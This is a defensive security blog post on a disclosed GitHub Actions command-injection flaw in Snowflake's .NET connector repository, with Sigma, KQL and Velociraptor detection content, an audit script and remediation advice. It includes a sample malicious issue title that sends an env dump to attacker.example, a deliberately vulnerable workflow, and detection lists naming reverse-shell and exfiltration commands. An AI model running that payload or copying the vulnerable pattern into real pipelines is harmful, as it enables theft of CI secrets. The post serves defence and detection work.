Security researchers at Wiz disclosed a GitHub Actions workflow injection vulnerability in Snowflake's public snowflakedb/snowflake-connector-net repository — one of the most widely used .NET connectors for the Snowflake data platform. The flaw lived in .github/workflows/jira_issue.yml, a workflow triggered by GitHub issue events. By crafting a malicious issue, an external attacker could inject and execute arbitrary commands inside a workflow context that carried internal Jira credentials.
Let me be direct about why this matters to your organization even if you don't run Snowflake's connector: this vulnerability class — untrusted GitHub event context interpolated into run: steps — is endemic across public and private repositories alike. If a mature vendor like Snowflake can ship it, your platform engineering team probably has it too. The blast radius is not the workflow itself; it's whatever secrets, cloud tokens, and internal network access that workflow has.
This post breaks down how the attack works from a defender's perspective, how to hunt for both the vulnerable pattern and its exploitation, and how to harden your pipelines today.
Technical Analysis
Affected Component
- Repository:
snowflakedb/snowflake-connector-net(Snowflake's official .NET connector) - Affected file:
.github/workflows/jira_issue.yml - Trigger: GitHub issue events (e.g.,
issues: opened— workflows that fire when any user opens an issue) - Exposed secrets: Internal Jira credentials available to the workflow job
No CVE identifier has been assigned in the disclosure referenced here. This is a workflow logic vulnerability, not a flaw in GitHub Actions itself — which means there is no vendor patch to apply. The remediation is a configuration and code-review problem.
How the Attack Works (Defender's View of the Kill Chain)
GitHub Actions workflows that trigger on issue or pull-request events receive attacker-controlled context — issue titles, issue bodies, PR titles, branch names, labels. The vulnerability pattern looks like this conceptually:
# VULNERABLE PATTERN — do not use in production
on:
issues:
types: [opened]
jobs:
sync-to-jira:
runs-on: ubuntu-latest
steps:
- run: |
./sync_jira.sh "${{ github.event.issue.title }}"
The kill chain:
- Trigger acquisition. The workflow listens on
issuesevents. Any GitHub user — no fork, no PR review, no code approval required — can open an issue on a public repository. - Injection. The attacker crafts an issue title containing shell metacharacters and a command, e.g. a title ending in
"; curl https://attacker.example/c2?d=$(env | base64) #. Because${{ github.event.issue.title }}is interpolated directly into therun:script before bash parses it, the injected payload executes with the workflow's privileges. - Secrets exposure. The workflow job had internal Jira credentials in scope. A simple
envdump, or targeted exfiltration of environment variables, hands those credentials to the attacker. - Pivot potential. From Jira credentials, an attacker gains visibility into internal engineering tickets — vulnerability reports, incident details, roadmap items — and potentially a foothold for further social engineering or token harvesting.
The Generalizable Pattern
This is the same class Wiz, Praetorian, and others have documented repeatedly across 2024–2026: untrusted GitHub context interpolated into shell steps. Dangerous contexts include:
github.event.issue.title/github.event.issue.bodygithub.event.pull_request.title/github.head_ref(branch names)github.event.comment.bodygithub.event.review.body- Any
github.event.*field an external user can influence
Combined with high-risk triggers (issues, issue_comment, pull_request_target, workflow_run), this turns a public repository into an unauthenticated remote code execution surface against your CI infrastructure.
Exploitation Status
- Disclosure: Coordinated disclosure by Wiz; the issue has been reported to Snowflake and the vulnerable workflow addressed.
- Active exploitation: No confirmed in-the-wild exploitation has been reported at time of writing, and there is no CISA KEV entry (this is a repo-specific misconfiguration, not a product CVE).
- Barrier to exploitation: Effectively zero for this pattern — it requires only a GitHub account and knowledge of the vulnerable workflow. Any similarly-configured public repository should assume attempted exploitation.
Detection & Response
Your detection strategy needs two layers: (1) find the vulnerable pattern in your own repos before attackers do, and (2) detect exploitation attempts against GitHub-hosted and self-hosted runners.
Sigma Rules
The following rules target GitHub audit log telemetry (ingested via the GitHub audit log streaming to your SIEM) and runner-side process execution. GitHub audit logs capture workflow and issue events; endpoint telemetry captures what the runner actually executes.
---
title: GitHub Actions Workflow Triggered on Issue Event With Suspicious Issue Title
id: 8c2f4a1e-3b7d-4e9f-a512-9d6c8e1f2a34
status: experimental
description: Detects GitHub issue events containing shell metacharacters in titles, a strong indicator of attempted workflow command injection against issue-triggered GitHub Actions workflows (as seen in the Snowflake snowflake-connector-net disclosure).
references:
- https://thehackernews.com/2026/08/snowflake-github-actions-flaw-lets_0330881554.html
- https://attack.mitre.org/techniques/T1195/
author: Security Arsenal
date: 2026/08/10
tags:
- attack.initial_access
- attack.t1195.002
logsource:
product: github
service: audit
detection:
selection_event:
action:
- 'issues.opened'
- 'issues.edited'
- 'issue_comment.created'
selection_injection:
title|contains:
- '$('
- '`'
- ';'
- '&&'
- '||'
- '| base64'
- 'curl '
- 'wget '
- 'bash -i'
condition: selection_event and selection_injection
falsepositives:
- Legitimate bug reports quoting command output or shell syntax
level: high
---
title: GitHub Actions Workflow File Added or Modified to Use Issue or PR Target Trigger
id: 3d9e7b52-1c4f-48a6-b237-5f8a2c9d1e67
status: experimental
description: Detects creation or modification of GitHub Actions workflow files introducing high-risk triggers (issues, issue_comment, pull_request_target, workflow_run), which expose secrets to attacker-controlled input contexts.
references:
- https://thehackernews.com/2026/08/snowflake-github-actions-flaw-lets_0330881554.html
- https://attack.mitre.org/techniques/T1554/
author: Security Arsenal
date: 2026/08/10
tags:
- attack.persistence
- attack.privilege_escalation
logsource:
product: github
service: audit
detection:
selection:
action:
- 'workflows.created_workflow'
- 'workflows.updated_workflow'
- 'repo.actions_access'
selection_trigger:
content|contains:
- 'pull_request_target'
- 'issue_comment'
- 'workflow_run'
- 'issues:'
condition: selection and selection_trigger
falsepositives:
- Legitimate CI/CD engineering work on issue automation (triage bots, Jira sync)
level: medium
---
title: GitHub Runner Worker Spawning Shell or Download Tool
id: 61a3c8f4-9e2b-4d57-a836-2c1e5b7f9048
status: experimental
description: Detects the GitHub Actions runner worker process spawning interactive shells or download tools with suspicious arguments on self-hosted runners, consistent with workflow command injection payloads exfiltrating secrets (e.g., env dumps piped to curl).
references:
- https://thehackernews.com/2026/08/snowflake-github-actions-flaw-lets_0330881554.html
- https://attack.mitre.org/techniques/T1059/004/
author: Security Arsenal
date: 2026/08/10
tags:
- attack.execution
- attack.exfiltration
- attack.t1059.004
- attack.t1567.002
logsource:
category: process_creation
product: linux
detection:
selection_parent:
ParentCommandLine|contains:
- 'Runner.Worker'
- 'actions-runner'
selection_payload:
CommandLine|contains:
- 'env | base64'
- 'printenv'
- 'curl https://'
- 'bash -i >& /dev/tcp/'
- '/dev/tcp/'
- 'wget -qO'
condition: selection_parent and selection_payload
falsepositives:
- Legitimate build steps invoking curl against known package registries (tune with allowlists)
level: high
A note on fidelity: the first rule will fire on legitimate bug reports that quote shell commands — that's expected and worth the triage cost, because the alternative (blindness to injection attempts) is worse. Tune by exempting known active contributors via actor fields, not by broadening the metacharacter allowlist.
KQL — Microsoft Sentinel (GitHub Audit Log Ingestion)
Sentinel ingests GitHub audit logs via the GitHub connector into GitHubAudit. This hunt surfaces issue/comment events with injection-shaped titles and bodies, plus workflow runs triggered by external actors on repos with issue-triggered workflows.
// Hunt: crafted GitHub issues/comments attempting workflow command injection
let InjectionChars = dynamic(["$(", "`", "; curl", "; wget", "&&", "|| env", "base64", "/dev/tcp", "bash -i"]);
GitHubAudit
| where TimeGenerated > ago(14d)
| where Action in ("issues.opened", "issues.edited", "issue_comment.created", "pull_request.opened")
| extend TitleLower = tolower(tostring(Title))
| where TitleLower has_any (InjectionChars)
| project TimeGenerated, Actor, Action, Repository, Title, ActorIp, UserAgent
| order by TimeGenerated desc;
// Hunt: workflow runs on issue-triggered workflows initiated by non-member external actors
GitHubAudit
| where TimeGenerated > ago(14d)
| where Action == "workflows.completed_workflow_run" or Action == "workflows.prepared_workflow_job"
| where Actor !in~ ("dependabot[bot]", "github-actions[bot]")
| summarize RunCount = count(), Workflows = make_set(WorkflowName) by Repository, Actor, bin(TimeGenerated, 1h)
| where RunCount > 5
| order by RunCount desc;
If your runners are self-hosted Linux VMs sending Syslog/auditd into Sentinel, correlate runner-side process execution:
// Runner-side: shells spawned under the actions runner invoking network tooling
Syslog
| where TimeGenerated > ago(14d)
| where ProcessName in ("bash", "sh", "curl", "wget")
| where SyslogMessage has_any ("Runner.Worker", "actions-runner")
or (SyslogMessage has "curl" and SyslogMessage has_any ("--data", "-d @", "$(env", "base64"))
| project TimeGenerated, Computer, ProcessName, SyslogMessage
| order by TimeGenerated desc;
Velociraptor VQL — Self-Hosted Runner Forensics
If you operate self-hosted runners (the highest-risk configuration, since compromised workflows land inside your network), this artifact hunts live for injected command execution under the runner worker and evidence of secret exfiltration staging.
-- Hunt: suspicious child processes of the GitHub Actions runner
SELECT Pid, Ppid, Name, CommandLine, Exe, Username, CreateTime
FROM pslist()
WHERE CommandLine =~ '(?i)(env *\| *base64|printenv|/dev/tcp|bash +-i|curl .*--data|curl .*-d |wget .*-O)'
OR (Name =~ '(?i)(bash|sh|curl|wget|nc|ncat)'
AND CommandLine =~ '(?i)runner')
-- Hunt: recently modified workflow files containing dangerous trigger patterns
SELECT FullPath, Size, Mtime,
read_file(filename=FullPath) AS Content
FROM glob(globs='**/.github/workflows/*.yml', root='/')
WHERE Content =~ '(?i)(pull_request_target|issue_comment|issues:|workflow_run)'
AND Content =~ '(?i)run:'
AND Mtime > now() - 1209600
Remediation & Audit Script
Run this against every repository in your organization — public ones first. It enumerates workflows using attacker-controllable triggers, flags dangerous context interpolation into run: steps, and checks for overly permissive token settings.
#!/bin/bash
# gh-actions-injection-audit.sh — requires: gh CLI authenticated with org:read, yq
ORG="your-org-name"
DANGEROUS_TRIGGERS='pull_request_target|issue_comment|workflow_run|^
*issues:'
DANGEROUS_CONTEXTS='github.event.issue.title|github.event.issue.body|github.event.comment.body|github.event.pull_request.title|github.head_ref'
for repo in $(gh repo list "$ORG" --limit 500 --json nameWithOwner -q '.[].nameWithOwner'); do
echo "=== Auditing: $repo ==="
# 1. List workflow files
files=$(gh api "repos/$repo/contents/.github/workflows" -q '.[].path' 2>/dev/null)
[ -z "$files" ] && continue
for f in $files; do
content=$(gh api "repos/$repo/contents/$f" -q '.content' | base64 -d 2>/dev/null)
# 2. Flag dangerous triggers
if echo "$content" | grep -Eq "$DANGEROUS_TRIGGERS"; then
echo "[!] HIGH-RISK TRIGGER in $repo/$f"
# 3. Flag untrusted context inside run: blocks
if echo "$content" | grep -Eq "run:.*\$\{\{.*($DANGEROUS_CONTEXTS)"; then
echo "[!!] INJECTABLE CONTEXT interpolated in run step — REMEDIATE NOW"
echo "$content" | grep -nE "\$\{\{.*($DANGEROUS_CONTEXTS)"
fi
fi
done
# 4. Check Actions permissions posture
perms=$(gh api "repos/$repo/actions/permissions" -q '.enabled' 2>/dev/null)
wfperms=$(gh api "repos/$repo/actions/permissions/workflow" -q '.default_workflow_permissions' 2>/dev/null)
echo " actions_enabled=$perms default_token_perms=$wfperms"
[ "$wfperms" = "write" ] && echo "[!] GITHUB_TOKEN defaults to WRITE — restrict to read"
done
Triage any [!!] finding the same day. On a public repository, treat it as an active exposure window.
Remediation
There is no patch because there is no product CVE — remediation is workflow hygiene. Apply these controls in order of priority:
1. Eliminate direct context interpolation in run: steps. The correct pattern is to pass untrusted input through environment variables, which are set by GitHub's runner as data, not interpolated into the script as code:
# SAFE PATTERN
jobs:
sync-to-jira:
runs-on: ubuntu-latest
steps:
- env:
ISSUE_TITLE: ${{ github.event.issue.title }}
run: |
./sync_jira.sh "$ISSUE_TITLE"
Environment variables are passed through the process environment — shell metacharacters in the value are never re-parsed as commands.
2. Gate issue-triggered workflows behind authorization checks. Add a job-level if: condition restricting execution to trusted actors, e.g. if: github.event.issue.author_association == 'MEMBER' || github.event.issue.author_association == 'OWNER'. Understand that issues triggers on public repos are reachable by anyone on the internet.
3. Scope down GITHUB_TOKEN. Set permissions: explicitly at the workflow level (contents: read as baseline). In repo/org settings, set the default workflow permissions to read-only and disable "Allow GitHub Actions to create and approve pull requests" unless required.
4. Rotate exposed secrets. If you find this pattern in your environment with secrets in scope, rotate those credentials immediately — don't wait for evidence of exploitation. Workflow run logs and issue histories are public; assume any injected payload already ran. For Snowflake's case, Jira credentials were in scope; for yours it may be cloud deploy keys or npm/NuGet publishing tokens.
5. Prefer ephemeral GitHub-hosted runners for public-repo workflows. If you must use self-hosted runners, isolate them in a dedicated network segment with no line-of-sight to production, and never reuse them across jobs.
6. Add CI/CD linting to your SDLC. Tools like zizmor, actionlint (with shellcheck integration), and GitHub's own CodeQL Actions analysis catch template-injection patterns in pull requests before merge. Enforce them as required checks on any change to .github/workflows/.
7. Review third-party Actions pinned by tag. Pin actions by full-length commit SHA. Workflow injection combined with a mutable third-party action is a supply-chain compromise waiting to happen.
Reference the Wiz disclosure and Snowflake's repository commit history for the specific fix applied to jira_issue.yml — reviewing their remediation diff is a useful template for your own teams.
The Bigger Picture
Fifteen years of IR work has taught me that CI/CD is the softest underbelly of most security programs. We harden production to CIS benchmarks and then let any GitHub user on earth execute commands — by design — inside systems holding deploy keys, publishing tokens, and SaaS credentials. The Snowflake disclosure is valuable precisely because it's mundane: no exotic zero-day, just a workflow trigger and a template expression. Go audit your workflows this week. Your issues: triggers are an unauthenticated attack surface.
Related Resources
Security Arsenal Penetration Testing Services AlertMonitor Platform Book a SOC Assessment vulnerability-management Intel Hub
Is your security operations ready?
Get a free SOC assessment or see how AlertMonitor cuts through alert noise with automated triage.